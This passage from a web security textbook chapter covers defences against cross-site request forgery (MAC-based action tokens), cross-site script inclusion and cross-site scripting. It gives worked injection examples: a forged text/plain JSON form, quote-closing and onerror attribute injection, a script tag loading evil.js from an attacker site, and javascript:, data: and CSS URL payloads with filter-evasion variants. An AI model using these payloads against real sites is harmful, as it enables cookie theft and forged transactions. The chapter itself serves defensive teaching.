A simple and reliable option for preventing XSRF is to require the user to enter a secret only
known to her, such as her login password, along with the request that results in a server-side
state change or transaction.

For example, the HTML form in Section 10.2.1 that allows users to change their password
could have an additional input field, curr_password, requiring the user to enter her current
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password. When the resulting POST request is received, the update_profile script would first
check that the value of curr_password indeed matches the user’s current password, and other-
wise reject processing of the request.

This approach is effective since we can assume that the attacker who serves up the mali-
cious page on hackerhome.org does not know the user’s current password—after all, if he did,
he would not bother with this attack.

The disadvantage of this approach is that it requires additional work for our user, who
needs to type in her password. It is therefore not practical in most cases to use this approach
for all state-changing requests across an entire web application—users would quickly get frus-
trated if they had to provide in their password many times over while using our application.

However, it is appropriate to use this approach for infrequent, “high-value” transactions,
such as password or other profile changes and perhaps commercial/financial transactions
over a certain value.

10.3.3.Validation via Action Token
To secure an entire application against XSRF attacks without requiring the user to explicitly
enter a secret, we need to find an alternative approach. What we need to accomplish is in
essence to allow our application to determine whether an HTTP request resulted from the
POST of an HTML form that our application itself had earlier sent to our user’s browser, or
whether the form was one that may have been included in a document sent to the browser
by a third party.

We will attempt to distinguish “genuine” instances of forms that our application has pro-
duced from ones that were forged by a third party based on a token included in a hidden form
field (or URL query parameter, if we must use GET requests). Due to the browser’s same-origin
policy, a malicious page from a third-party site such as www.hackerhome.org cannot inspect
pages loaded into the browser from our site, www.mywwwservice.com. In particular, the page
from www.hackerhome.org would not be able to obtain the correct value for the token by
inspecting our application's page that contains the form in question. If we are able to devise
a scheme for generating and validating these tokens such that a malicious third party cannot
guess or otherwise obtain a valid token value, we can indeed use the token to distinguish
forged from genuine requests. Since the token is used to control the execution of state
changes or transactions, we refer to it as an action token.

How can we generate and validate such tokens?
We first consider a scheme (which will turn out to be insufficient) in which tokens are

generated using a cryptographic algorithm such that possession of a secret is necessary to
produce a token that our application will consider valid.

One way of generating tokens with this property is to concatenate the value of a time-
stamp or counter c with the message authentication code (MAC) of the counter under a secret
key KMAC (MACs were introduced in Section 1.5, and are covered in more detail in Chapter 15):

Here, + denotes string concatenation.9 To validate a token value arriving with an inbound
request, we split the token into the MAC and counter-component (we assume that MACs are
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always of the same length), compute the expected MAC value for the given counter value, and
check that the computed MAC matches the actual one provided in the incoming token. If only
our application has access to the secret key, and assuming we have chosen a cryptographically
strong MAC algorithm, it is not feasible for a third party to produce the correct MAC given a
value of c. As such, it should not be possible for a third party to forge action tokens.

So does this scheme indeed prevent XSRF attacks against our application? No! What we
have overlooked is that our application will accept any token that has at a prior point been
produced by our application. That is, an attacker can simply use his browser to navigate our
web application to a page containing such a form, and then extract the value from the hidden
field in the form. He now has a copy of a token that our application will consider valid under
this validation scheme—in security engineering parlance, the attacker was able to use our
own application as an oracle to obtain a valid token without having to know the secret key that
is used to generate the tokens.

How can we prevent this further attack? The key observation is that our application not
only needs to be able to tell if it is receiving a request with any action token that it had previ-
ously sent to some browser, but rather needs to check that an incoming request includes a
token value that had been previously sent to the same browser!

Since (due to the same-origin policy), third-party pages in a different domain cannot
inspect or set cookies in our domain, we can reliably distinguish between browser instances
based on a cookie we have set at an earlier time. We can thus tie the validity of an action token
to a particular browser instance by binding the value of the action token to the value of a suit-
able cookie.

We now present a scheme that effectively prevents XSRF attacks (this is not the only effec-
tive scheme; we discuss some variations later on). This scheme assumes that, at the time an
action token is sent to the browser in a hidden field or query parameter, a cookie C with the
following properties is already set in the browser in our domain, or will be set with the response
that is being sent to the browser:

1. The value of the cookie is unique to the current browser instance (i.e., there are no two
browser instances that have the same cookie value).10

2. The value of the cookie in any given browser instance is infeasible to guess for a third
party without access to the browser instance.

If our application uses cookie-based authentication, and the user is authenticated at the
time the page containing the action token is generated, we can use the application’s session
authentication cookie as the cookie C (to be suitable for session authentication, session cookies
must also satisfy the aforementioned properties).

If no suitable cookie is already available, we can have our application set a cookie specifi-
cally for this purpose. To satisfy the preceding requirements, we can generate the cookie’s
value as 128 random bits of output of a cryptographically strong random number generator
(see Chapter 14).
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Given the value of cookie C and URL L of the request for which the action token should be
valid (i.e., the action URL of the form in which the action token will be inserted into), we com-
pute the action token as

KMAC denotes a secret MAC key known only to our application, and the operator + denotes
string concatenation. Furthermore, d is a suitable separator character—for example, ;—that
does not appear in values of our cookie C; it is used to ensure uniqueness of the concatenation.

To validate an incoming HTTP request, our application performs the following steps:

1. It extracts the request URL L' (without the query part in the case of a GET request) and
the cookie C' from the request.

2. It computes the expected value of the action token for these values of the URL and
cookie:

3. It extracts the actual value Trequest of the action token from the appropriate request
parameter.

4. If Trequest equals Texpected it continues processing the request. Otherwise, it assumes that
an XSRF attack may be underway, and does not process the request.

It is possible that occasionally a request initiated by a legitimate user will fail action token
validation according to this algorithm. This can happen, for example, if a user leaves a page
containing a form open in their browser, and concurrently initiates a new session with the
application in a different browser window. Then, the action token in the form in the first win-
dow will become “stale” because its value is based on a previous value of the session cookie
and will not match the expected value based on the current value. Thus, the application
should recover gracefully in the last step, and instead of displaying an error message after a
token mismatch, reply with an HTTP redirect response that sends the user to a suitable page
(e.g., the application’s “Home” or “Main Menu” page).

10.3.4. Security Analysis of the Action Token Scheme
We now examine the security properties of the action token scheme introduced in the previ-
ous section.

Effectiveness of the Scheme
We have chosen the value of the token such that it is effectively unguessable. The token value
is the output of a cryptographically strong MAC computation, which means that the attacker
would need billions of attempts to guess the correct value with any reasonable probability
(the specific numbers depend on the MAC function and the quality of the key material). Note
that each guess has to be carried out from within the user’s browser, (i.e., the malicious page
would have to implement a loop in JavaScript that iterates over the guessed values of the
token, which would likely reduce the attack rate to a few tens per second—far slower than
the rate usually assumed for offline attacks against cryptographic algorithms).
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Since he does not have access to the secret key used in the MAC computation, the only
feasible way for the attacker to obtain a correct action token would be to use our application
as an oracle. However, to do so he would need the inputs to the MAC computation—in partic-
ular, the user’s session cookie. We can assume that the attacker does not have the ability to
obtain cookies in our application’s domain from within the user’s browser—otherwise he
could already hijack the user’s session directly. At the same time, our application generates
session cookies such that it is infeasible for an attacker to guess other users’ session cookies
(if this were possible, the attacker could hijack other users’ sessions simply by successfully
guessing their session cookies).

This means that the attacker’s malicious page is effectively unable to populate and submit
a request with an action token value that matches what our application expects, and such
requests will not be processed.

Leakage of Action Tokens
If we use action tokens to protect GET requests against XSRF, we have to be aware that the
action token will occur as a query parameter in the request’s URL. As such, it would appear
in proxy and web server logs and could be leaked in the Referer header if the resulting page
contains references (such as images or anchors) to third-party documents.

The HTTP specification recommends not to use GET, but only POST for requests that initi-
ate a (non-idempotent) transaction on the server. However, web applications sometimes
ignore this recommendation for various reasons (e.g., browsers pop up a confirmation dialog
if a user steps backward through the browser history to a page that resulted from a POST
request, which can be awkward), and often state-changing requests are in fact idempotent,
which makes it somewhat reasonable to use GET requests (there is no harm if a particular row
in a database is written to with the same values multiple times).

To reduce the risk based on leaked action tokens, our scheme incorporates the URL of the
target action into the MAC computation of the action token. Thus, if the action token for the
URL /some_get_url were to be leaked to a malicious third party, it could not be used in an
XSRF attack against another URL /high_value_txn. Similarly, since the token computation
incorporates the value of the cookie C, which we have stipulated to be freshly chosen for each
browser instance, an action token that was leaked or stolen in one session will not be usable to
attack a different session, even of the same user.

If our application enforces that only POST requests are used for all state-changing requests,
and we are certain that the risk of action token leakage is negligible, it may be reasonable to
omit the URL from the computation of the action token.

On that note, it should be clear by now that using POST instead of GET does not prevent
XSRF attacks. As shown in Section 10.1.2, it is easy for an attacker to set up an HTML docu-
ment that causes the user’s browser to make a POST request.

Limitations in Presence of XSS Vulnerabilities
We must note that if our application is vulnerable to an XSS attack, the action token scheme
becomes ineffective. The attacker can inject script that steals both the user’s cookies and cor-
responding action tokens, or directly “fills out” forms and submits requests from within the
context of the user’s session, including the expected action tokens.

CHAPTER 10 ■ CROSS-DOMAIN SECURITY IN WEB APPLICATIONS174

7842CH10.qxd  1/17/07  3:43 PM  Page 174



Relying on Format of Submitted Data
In Section 10.2.2, we discussed Ajax-style web applications, in which a browser-based user
interface is implemented via client-side JavaScript that programmatically makes requests to
a web server. Often, the communication with the web server follows a remote procedure call
(RPC) pattern, and request arguments and responses are marshaled (encoded) using JSON,
XML, or some other data format. A client-side API implemented in JavaScript running in the
browser takes request (procedure call) arguments, marshals them into the chosen format,
and then uses the XmlHttpRequest object to make a POST request to the back-end web server,
with the marshaled argument as the POST request’s body. The server replies with the similarly
encoded return value of the procedure call, which the client-side library unmarshals and
returns to the caller.

The XmlHttpRequest object is available in many popular web browser implementations,
and can be used by client-side JavaScript to make synchronous or asynchronous HTTP requests
with arbitrary contents, and get access to the raw, uninterpreted contents of the HTTP response,
which makes it a convenient vehicle for the implementation of RPCs in Ajax web applications.
As part of the browser’s Same-Origin Policy enforcement, the XmlHttpRequest object allows
requests only to the domain of the document in whose context it was invoked. JavaScript in a
document originating from www.hackerhome.org cannot make a POST (or GET) request to
www.mywwwservice.com using XmlHttpRequest.

A <form>-based request across domains is possible (see Section 10.1.2), but would by
default send data encoded in the encoding specified for <form> submissions. For example,
the form

<form method="POST" action="http://www.mywwwservice.com/action">
<input name="foo" value="I'd like a cookie">
<input name="bar" value="and some tea &amp; coffee">

</form>

would result in a POST request with the body

foo=I'd%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee

The form’s fields are encoded as key/value pairs. First, metacharacters occurring in
the form values (as well as field names), in particular & and =, are URL-encoded—that is,
metacharacters are replaced by %, followed by the ASCII code of the encoded character in
hexadecimal notation (Berners-Lee, Fielding, and Masinter 2005). Then, each field name is
concatenated with the corresponding encoded value, separated by =; and finally, all such
key/value pairs are concatenated together, separated by the & character.11

Due to this encoding, we may be tempted to assume that a malicious page from
www.hackerhome.org cannot use a <form> submit to create a POST request to our server-side
RPC handler whose contents actually look like valid JSON or XML; and therefore, that our
server’s handlers are immune from XSRF attacks.
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However, this is not so. The <form> tag has the attribute enctype, which specifies how the
browser should encode the form’s fields when posting the form (see the HTML 4.01 Specifica-
tion, Section 17.13.4, for more information) (Raggett, Le Hors, and Jacobs 1999). The enctype
attribute specifies the encoding in the form of a MIME media type, also referred to as a content
type (Freed and Borenstein 1996).12 The default encoding described previously corresponds to
the MIME content type application/x-www-form-urlencoded.

A commonly used alternative encoding is multipart/form-data, in which the form data is
encoded as a MIME data stream, and which can be more space efficient for large quantities of
non-text data—for instance, file uploads (Freed and Borenstein 1996). What is not commonly
known is that at least some browsers (such as Firefox, as of version 1.5) also support the
text/plain encoding, which formats the form data as &-separated key/value pairs, just as
application/x-www-form-urlencoded, but does not apply any encoding to the values themselves.

For example, the form

<form method="POST"
action="http://www.mywwwservice.com/action"
enctype="text/plain">

<input name='{"junk": "ig'
value='nore", "new_password": "evilhax0r"}'>

</form>

results in a POST request whose body is formatted as

{"junk": "ig=nore", "new_password": "evilhax0r"}

That is, such a form can indeed be used to make a POST request with essentially arbitrary
contents (in particular, well-formed JSON or XML), and can most likely be used to make an
XSRF attack request that will be processed as valid by our application (the only constraint is
that the request will contain a = character somewhere; there is usually a valid request that sat-
isfies this constraint).

As such, we must employ an explicit measure such as the use of action tokens to prevent
XSRF against our server-side Ajax handlers.

10.4. Preventing XSSI
The approach to preventing XSSI is closely related to the methods for preventing XSRF intro-
duced in Section 10.3. Since we cannot prevent third-party sites from loading resources from
our site, we have to find a way for our server to distinguish such references from legitimate
ones in order to deny them.

10.4.1. Authentication via Action Token
The strongest method for preventing XSSI is to apply the scheme for preventing XSRF intro-
duced in Section 10.3.3 to requests that return dynamic JavaScript containing session-specific
data. With this method, the application would validate that an additional query parameter
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containing an action token is consistent with the session cookie. Since a malicious page
would not be able to guess the correct value for this parameter, it would not be able to make a
request that the application responds to and returns any data. In essence, we have comple-
mented session cookie–based request authentication (which the browser always supplies
automatically) with request authentication based on a request parameter. We note that the
term “action token” is not quite accurate in this case, because the requests in question do not
necessarily result in an action or state change on the server. However, since we do need to pro-
tect state-changing Ajax requests against XSRF, we may as well use just one single token and
validation mechanism.

If GET requests are used, the action token is transferred in the URL as a query parameter,
which brings up the concerns regarding leakage and logging discussed in Section 10.3.4.
We should whenever possible use POST requests for that reason (made, for example, using
XmlHttpRequest). However, the risk of leakage is smaller in this case because the returned doc-
ument is a JavaScript document and not an HTML document that may contain references to
third-party resources.

10.4.2. Restriction to POST Requests
If the request in question is non–state changing (i.e., it is a read-only request to our web
server), it may seem sufficient to omit the action token and simply restrict the server such that
it responds only to POST requests. However, if the request both reads and writes, then using an
action token is required to prevent attack.

Only the <script> tag provides a mechanism for a document in one domain to be evalu-
ated as script in the context of a document in a second domain. HTML form submissions,
inclusion via <iframe>, and the like always result in the returned document to be evaluated
in the domain it was loaded from, and XmlHttpRequest does not permit requests to be made
across domain boundaries.

At the same time, <script> tags always cause the document to be loaded with a GET
request.

As such, a malicious page cannot make a request and cause the returned document to
be evaluated as JavaScript in this page’s context, and it is sufficient to rely on restricting the
request method to POST for the purposes of protecting read-only requests from XSSI attacks.

However, since Ajax requests are usually a mix of read-only and state-changing requests,
we highly recommend to protect all Ajax requests via action token. If this is done in a browser-
side API that wraps the details of making requests to the server, we avoid the introduction of
a second code path; the cost of validating the token server side should not be a determining
factor.

10.4.3. Preventing Resource Access for Cost Reasons
If our ISP (Internet service provider) charges us per volume of traffic to and from our web
server, we may want to limit inclusion of our resources (images, script, style sheets, etc.) into
third-party sites simply for cost reasons. In this case, it would be sufficient to implement an
incomplete solution that works most of the time, but still ensures that legitimate users are not
negatively affected. To implement this solution, we would decline to serve requests with a
Referer header indicating that the request did not originate from one of our sites. However,
we would serve requests that do not have a Referer header at all.
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Recall that for the purposes of preventing XSRF and XSSI attacks, it is not feasible to rely
on Referer headers because they are not always present, and at the same time can in certain
circumstances be suppressed by a malicious site (see Section 10.3). However, for limiting
“bandwidth leeching,” it is sufficient. It is generally not possible for a page to include an
image, script, or style sheet, and suppress the Referer in the resulting request; at the same
time, most users’ browsers will send Referer headers. A third party that relies on our resource
would only “work” for users whose browsers or proxies suppress Referer headers, which
makes it impractical for them to do so. And even if a few requests slip through, we are only
exposed to a small fraction of the cost we could otherwise expect.

10.5. Preventing XSS
At a first glance, preventing XSS appears fairly straightforward. We have to ensure that our
application never sends any untrusted data to the user’s browser such that this data could
cause execution of script in the browser. Usually, this can be done by either suppressing cer-
tain characters (such as the characters < and > that delimit HTML tags), or replacing them
with an appropriate escape sequence (such as &lt; and &gt;).

Unfortunately, the solution is not as simple as just escaping <, >, and "; there are a multi-
tude of situations and contexts in which a string could be interpreted by the browser in a way
that causes execution of script. In the following, we examine each such context in turn, and
then also cover a number of special situations.

Most situations in which a particular string could cause script execution involve place-
ment into a specific context within an HTML document. We give examples for these contexts
in the form of HTML snippets with variable substitution placeholders such as %(variable)s
(this syntax will be familiar to Python programmers). We refer to HTML snippets containing
such placeholders as HTML template snippets.

For example, the HTML template snippet

<title>Example document: %(title)s</title>

is intended to illustrate a template snippet that results in the following HTML to be emitted to
the browser if the variable title has value Cross-Site Scripting:

<title>Example document: Cross-Site Scripting</title>

We chose this syntax to keep the examples independent from any particular templating
or HTML rendering infrastructure; the equivalent notation for the preceding would be 
<?= title ?> in PHP and <%=title %> in ASP or JSP.

The examples in this document are based on JavaScript. Of course, similar examples
could be constructed using other scripting languages supported by the victim’s browser (such
as VBScript).

To keep the examples short, we use the placeholder evil-script; to denote a sequence of
JavaScript statements the attacker might inject (possible exploit payloads were discussed in
more detail in Section 10.2.3).

For each class of XSS vulnerability (which is based on the context within an HTML docu-
ment in which the injection occurs, such as “simple text,” “within an href attribute,” etc.), we
provide the following:
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• An example that shows how the injection can be exploited—that is, how the attacker
could inject strings into the HTML document such that script of his choosing would
execute in the user’s browser

• Prevention techniques for avoiding XSS in each particular context (e.g., “escape a
specific set of characters”)

• Rationale explaining why these guidelines are necessary and why they indeed prevent
XSS in the given context

10.5.1. General Considerations
Before we discuss prevention of script injection in specific HTML contexts, let’s make some
general observations.

Input Validation vs. Output Sanitization
It is sometimes suggested that XSS is an issue that occurs due to lack of proper input
validation.

Strictly speaking, this is not so, and relying on input validation alone can result in incom-
plete solutions. There are a number of reasons that support this observation:

• It is often not possible to restrict input strings to a set of characters that are safe to out-
put in all HTML contexts. For example, we may have to allow angle-bracket and
double-quote characters for an input field representing an e-mail address to allow
addresses of the form "Alice User" <alice@learnsecurity.com>.

• Input validation is usually applied at the outer boundaries of the overall system—for
example, to query parameters received with HTTP requests, or data retrieved from a
back-end data feed. However, back-end applications and databases are usually consid-
ered “inside” the input validation boundary. 

As such, it is common that data read from a database is not passed through an input
validation layer. At the same time, another application component may have very rea-
sonably decided that writing a string containing HTML metacharacters to the database
is safe; the developer of that component may not be aware that the string is later read
back from the database and displayed to the user as part of an HTML document.

• At a very basic level, we make the observation that no risk arises from strings contain-
ing HTML (and potentially JavaScript) while they are being passed around within a web
application, written to databases, used within database queries, and so forth. Problems
only arise when the string is sent to a user’s browser and interpreted as HTML. 

It is in many cases not architecturally reasonable to enforce that all strings be HTML-
safe (free of HTML metacharacters or suitably escaped) throughout the system.

As such, we often cannot avoid addressing the problem by sanitizing strings at the time
they are inserted into an HTML document, i.e., by performing output sanitization.

This, of course, does not imply that you should be lenient with respect to input validation!
You must always apply the strongest possible input validation constraints within the parame-
ters given by your feature specifications. Strict input validation will often prevent a missing
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output sanitization step from resulting in an exploitable XSS vulnerability (and will of course
also reduce the risk of other classes of vulnerabilities that can be exploited based on untrusted
input).

HTML Escaping
In many of the contexts covered in the following sections, XSS is prevented by escaping certain
metacharacters such that strings are treated as uninterpreted literals, rather than HTML
markup.

In HTML, escaping is accomplished by replacing characters with their corresponding
HTML character reference (see the HTML 4.01 Specification, Section 5.3, for more informa-
tion). Character references can be numeric in the form &#D; where D is the decimal character
number, or &#xH; where H is the character number in hexadecimal notation. For example, the
character reference &#x41; represents the letter A. Alternatively, so-called entity references are
available, which refer to the character with a mnemonic name. For example, the entity refer-
ence &lt; refers to the less-than symbol, <.

We assume in the following discussion that an HTML escape function is available that
escapes at least the characters listed in Table 10-1 into their corresponding HTML character
references.

Table 10-1. Minimum Set of Characters to 
Be Escaped by HTML Escape Function

Character Reference

& &amp;

< &lt;

> &gt;

" &quot;

' &#39;

Ready-to-use HTML escape functions are available in libraries in many programming
languages. It is advisable to carefully check the documentation or source code (if available)
that all necessary characters are indeed escaped. For example, it is easily overlooked that the
Python function cgi.escape (available in the library included in the standard Python distribu-
tion) does not escape quote characters unless requested via an optional argument, and even
then only escapes double-quote characters.

In certain contexts, we require other escaping functions (e.g., for JavaScript string literals);
we introduce these functions in the appropriate context.

10.5.2. Simple Text
This is the most straightforward and common situation in which XSS can occur.

Example
Suppose our application is producing output based on the following template fragment:

<b>Error: Your query '%(query)s' did not return any results.</b>
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If the attacker is able to cause the variable query to contain, for example

<script>evil-script;</script>

the resulting HTML snippet would render as

<b>Error: Your query 
'<script>evil-script;</script>' did not return any results.</b>

and the attacker’s script would execute in the browser, and could, for example, steal the victim
user’s cookies.

Prevention Techniques
Any string that is possibly derived from untrusted data and is inserted into an HTML docu-
ment must be HTML-escaped using the HTML escape function introduced in Section 10.5.1.

Rationale
The less-than and greater-than characters need to be escaped because they delimit HTML
tags. If not escaped, these tags (including <script> tags) would be evaluated by the browser.

If the ampersand were not escaped in this context, this would not result in a security
issue, but could result in a rendering bug because the browser may interpret the ampersand
as the beginning of an entity reference and not display it as intended.

It is not strictly necessary to escape the quote characters in this context; however, this is
necessary in other contexts, and it is convenient to use the same escaping function everywhere.

10.5.3. Tag Attributes (e.g., Form Field Value Attributes)
Many HTML tags can have (usually optional) attributes that specify or modify how a tag is
interpreted by a browser. For example, in the HTML snippet

<form method="POST" action="/do">

the <form> tag has two attributes, named method and action. The value of the attribute method
is the string POST, and the value of the attribute action is the string /do.

This and the following subsection cover several variations of contexts in which data is
inserted into the values of attributes of HTML tags. In this section, we discuss concerns that
apply to all attributes. The examples consider a form field that is prefilled with data. However,
the considerations in this section apply to other attributes as well (such as style, color,
href, etc).

Example
Consider a template fragment of the form

<form ...>
<input name="query" value="%(query)s">

</form>
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If an attacker is able to cause the variable query to contain, for example

cookies"><script>evil-script;</script>

then, after substitution, this will result in the HTML

<form ...>
<input name="query"

value="cookies"><script>evil-script;</script>">
</form>

That is, the attacker is able to “close the quote” and insert a script tag that will be exe-
cuted by the browser.

Attribute-Injection Attacks
A variation of the attack in the previous section is possible if the attribute’s value is not
enclosed in quotes in the template. Consider a template fragment in which the attribute’s
value is not enclosed in quotes, for example

<img src=%(image_url)s>

Suppose the attacker is able to cause the variable image_url to contain

http://www.examplesite.org/ onerror=evil-script;

After substitution, this will result in the HTML fragment

<img src=http://www.examplesite.org/ onerror=evil-script;>

Browsers are usually lenient in their parsing of HTML attributes, and assume that an
attribute whose value is not enclosed in quotes ends at the first whitespace character or the
end of the tag. Thus, the preceding HTML will be parsed as an <img> tag with two attributes
(i.e., the attacker was able to inject an additional attribute).

The ability to inject an arbitrary attribute can often be exploited to execute arbitrary
script. In the preceding example, the attacker arranged to inject an onerror attribute, which
specifies an error handler in the form of a JavaScript snippet that the browser evaluates if eval-
uation of the tag resulted in an error condition. In the example, the attacker forces the error
condition by supplying a URL that does not resolve into an image document (i.e., the URL can
be a valid, resolvable URL that returns an HTML or other non-image document).

Besides the onerror handler, other handler attributes, such as onload, or handlers for vari-
ous DOM events, such as onmouseover, may be usable in an exploit (though the latter usually
requires user interaction to be triggered).

It should be noted that this attribute-injection attack did not require the injection of any
HTML metacharacters (angle brackets or quotes) that would be commonly escaped or filtered.
We also note that it is quite possible to craft malicious script payloads without using quote
characters (it may be tempting to assume that it is difficult for an attacker to do anything
damaging without being able to specify string constants—for instance, to refer to their
server’s URL).
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Prevention Techniques
Any string that is possibly derived from untrusted data and is inserted into the value of an
HTML tag’s attribute must be HTML-escaped using the HTML escape function introduced
in Section 10.5.1.

Furthermore, the attribute’s value must be enclosed in double quotes.

Rationale
The entire attribute value must be enclosed in quotes to prevent attribute-injection attacks.

First, it is necessary to escape the quote character that is used to delimit the attribute’s
value to prevent the “closing the quote” attack. While the HTML specification allows either
double or single quotes to be used to enclose attributes, it is advisable to decide on a conven-
tion and use one type of quote throughout the application. It is nevertheless advisable to use
an HTML escaping function that escapes both types of quotes, in case of deviation from the
convention.

Second, it is necessary to escape the ampersand character. Older versions of the Netscape
browser support so-called JavaScript entities (see Netscape’s “JavaScript Guide”). This allows a
string of the form &{javascript_expression}; to be used within attributes; the expression is
evaluated and the entire entity expression is replaced with the result of this evaluation. An
attacker who is able to inject ampersand and curly-brace characters into an attribute could be
able to execute malicious script.

While non-escaped angle brackets in attribute values do not result in XSS vulnerabilities
in popular browsers, it is safest to escape them nevertheless. This also ensures that the resulting
HTML is well-formed and allows you to use the same HTML-escaping function as elsewhere.

10.5.4. URL Attributes (href and src)
Attributes such as href and src take URLs as arguments. Depending on the tag they are asso-
ciated with, the URL may be interpreted, de-referenced, or loaded at the time the browser
interprets the tag (e.g., <img src=...> tags), or loaded only when the user performs an action
(e.g., <a href=...> tags).

If the value of the URL attribute is computed dynamically and may be influenced by a
attacker, the attacker can make the URL refer to a resource that we did not intend. This could
result in all kinds of problems (e.g., page spoofing), but may in particular result in injection of
malicious script.

Script and Style Sheet URLs
The attacker can easily cause script to execute if he can manipulate the source of a <script> or
<style> tag (as we will discuss in Section 10.5.5, CSS style sheets can cause script to execute).
Take the following example:

<script src="%(script_url)s">

If the attacker can make script_url point to http://hackerhome.org/evil.js, his mali-
cious script will execute in the context of the page containing this script tag.
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javascript: URLs
Furthermore, most browsers interpret URLs with the javascript: scheme such that the
remainder of the URL is evaluated as a JavaScript expression, as in the following example:

<img src="%(img_url)s">

If the attacker can set img_url to javascript:evil-script;, the resulting HTML will be

<img src="javascript:evil-script;">

When the browser attempts to load the image, evil-script; will execute.

Other Resource URLs
Other resources can be very dangerous (e.g., code bases for ActiveX objects or Java applets),
or at least highly annoying (e.g., background music) if their URLs can be influenced by an
untrusted source. They need to be validated carefully, and should generally not be allowed to
refer to a URL that is not under your control.

Prevention Techniques
The attribute’s value must be escaped and enclosed in quotes, as described in Section 10.5.3.

For script, style sheet, and code base URLs, it must be enforced that the data is served
from a web server under our control. If such URLs are allowed to be absolute paths without a
host part (e.g., src="/path/file"), then it is important that the attacker does not have control
over the BASE attribute of the page, if any. For URLs (e.g., image URLs and the like) that may
refer to third-party sites, it must be verified that the URL is a relative or absolute HTTP URL
(i.e., one that starts with /, http://, or https://).

Rationale
The escaping is necessary to prevent the general attribute-based script-injection attacks
described in the previous section. Enclosing the URL in quotes is necessary to prevent
attribute-injection attacks (see Section 10.5.3). We note that it may be safe to omit the quotes
around the attribute’s value if you are sure that the URL does not contain any whitespace
characters. However, we advise against such cutting of corners; the savings of two characters
of page size per attribute rarely justifies the additional risk due to the special casing in code
and/or coding conventions.

To prevent javascript: injection attacks, one might be tempted to just disallow URLs that
start with javascript:. However, there are many rather obscure variations of this injection,
and it is much safer to apply a positive filter. For example, some versions of Internet Explorer
will ignore a 0x08 (\010 octal) character at the beginning of the string. Similarly, if the : charac-
ter is escaped as an HTML character reference—such as javascript&#58;evil-script;—both
Internet Explorer and Firefox still execute the script. Internet Explorer executes vbscript:
URLs. The data: scheme can also be used to cause script execution—for example, data:text/
html,<script>evil-script;</script>. It is quite possible (or rather, likely) that there are addi-
tional browser behaviors that similarly can be used to cause script execution. This example
vividly illustrates the virtues of the general security paradigm of preferring whitelisting over
blacklisting. Validating a parameter with anything but the most trivial semantics is almost

CHAPTER 10 ■ CROSS-DOMAIN SECURITY IN WEB APPLICATIONS184

7842CH10.qxd  1/17/07  3:43 PM  Page 184



always safer by testing inclusion in a known-safe subset of possible values, rather than trying
to exclude the set of values you think are problematic—it is often very difficult to reliably char-
acterize the set of “bad values.”

10.5.5. Style Attributes
Style attributes can be dangerous if an attacker can control the value of the attribute, since
CSS styles can cause script to execute in various ways.

Example
For example, consider the following template fragment:

<div style="background: %(color)s;">
I like colors.

</div>

If the attacker can cause color to contain

green; background-image: url(javascript:evil-script;)

after substitution, the HTML evaluated by the browser would be

<div style="background: green; ➥

background-image: url(javascript:evil-script;);">
I like colors.

</div>

This does result in evil-script; being executed (at least in Internet Explorer 6.0; Firefox
version 1.5, for example, apparently does not de-reference javascript: URLs in this context).

Prevention Techniques
It is very important to validate the value that is to be inserted into the style attribute using a
whitelist approach (i.e., we must test that the string in question is in a set of strings that are
sure to be safe in the given context).

Regular expressions provide a convenient and efficient mechanism for the specification of
sets of strings (and testing the inclusion therein).

For example, we can specify the set of strings consisting of (a safe superset of) syntacti-
cally valid CSS color specifications with the following regular expression:

^([a-z]+)|(#[0-9a-f]+)$

This regular expression defines the set of strings that consist of either a sequence of one
or more lowercase letters (a “color name”), or the symbol # followed by one or more hexadeci-
mal digits (a numeric color specification). The ^ and $ regular expression operators force a
match at the beginning and end of the string. Failing to require a match of the entire string is a
common mistake when using regular expressions for data validation.

We note that the preceding regular expression does not match the exact set of strings that
are valid CSS color specifications, but rather a superset thereof. For example, the strings brfff
and #7 are matched, but represent a nonexistent color name and a numeric color specification
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with insufficient digits. However, it is reasonable to assume that providing such strings to the
browser as a CSS color specification will not result in JavaScript execution.

An even safer alternative would be to not derive the value to be inserted into the HTML
document directly from user-controlled input, but rather externally expose a different param-
eter that is mapped to a fixed set of values. For example, we could externally expose an
integer-valued parameter, color_id, and look up the corresponding CSS color specifier in a
table (of course, not forgetting to bounds-check the index).

As with all attributes, it is important to ensure that style attributes do not contain any
(non-escaped) quote characters, and that their value is enclosed in quotes in the template.

Rationale
Using a whitelist approach is very important. CSS is a fairly complex language and there are
several ways in which a style specification could cause JavaScript to execute. It would be fairly
difficult to reliably filter out malicious style specifications using a blacklist approach.

10.5.6. Within Style Tags
The previous section’s considerations regarding style= attributes also apply to <style> tags.
Data must be validated very carefully using a whitelist approach before it is inserted into an
HTML document in a <style> context.

10.5.7. In JavaScript Context
For obvious reasons, one has to be very careful with regard to embedding dynamic content
in <script> tags or other contexts that are evaluated as script (such as onclick, onload, and
onerror handler attributes). If an attacker can cause arbitrary strings to be injected into a
JavaScript context within a document in our application’s domain, he can very likely cause
malicious script to execute. Note that HTML-escaping the data is not sufficient, since the
attacker does not need to inject any HTML tags.

Dynamic content within <script> tags should generally be avoided as much as possible,
with the exception of situations in which data is emitted to a client in JavaScript syntax. For
example, it is sometimes useful to initialize variables with dynamically computed values in the
context of a <script> tag.

In Ajax-style web applications (see 10.2.2), it is common for the server to return docu-
ments containing data in JavaScript syntax—for example, in the form of arrays or object
literals. When writing the server-side code of an Ajax application, you have to be careful about
how you control untrusted data that will appear within a JavaScript context in the user’s
browser.

Example
For example, consider the following template fragment:

<script>
var msg_text = '%(msg_text)s';
// ...
// do something with msg_text

</script>
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If the attacker can cause msg_text to contain

oops'; evil-script; //

after substitution, the HTML evaluated by the browser would be

<script>
var msg_text = 'oops'; evil-script; //';
// ...
// do something with msg_text

</script>

which would cause evil-script; to execute.

Prevention Techniques
Do not insert user-controllable strings into contexts that will be evaluated as JavaScript,
including the following:

• Within <script> tags in HTML documents

• Within handler attributes such as onclick

• Within JavaScript code intended to be sourced by a <script> tag or evaluated using
eval()

Exceptions to this rule are situations in which data is used to form literals of elementary
JavaScript data types such as strings, integers, and floating-point numbers.

For string literals, it is necessary to enclose the string with single quotes, and to ensure
that the string itself is JavaScript string-escaped, as shown in Table 10-2 (we use the 
U+<hex-digits> notation to refer to nonprintable Unicode code points). In addition, it is
advisable to escape all characters less than 32 and greater than 127, especially if the 
document encoding of the resulting document cannot be relied upon to match the 
one used during processing of strings.

Table 10-2. Character Escapes for JavaScript String Literals

Character Escape Comment

U+0009 \t Tab

U+000a \n Line feed

U+000d \r Carriage return

U+0085 \u0085 Next line

U+2028 \u2028 Line separator

U+2029 \u2029 Paragraph separator

' \x27 or \u0027 Single quote

" \x22 or \u0022 Double quote

\ \\ Backslash
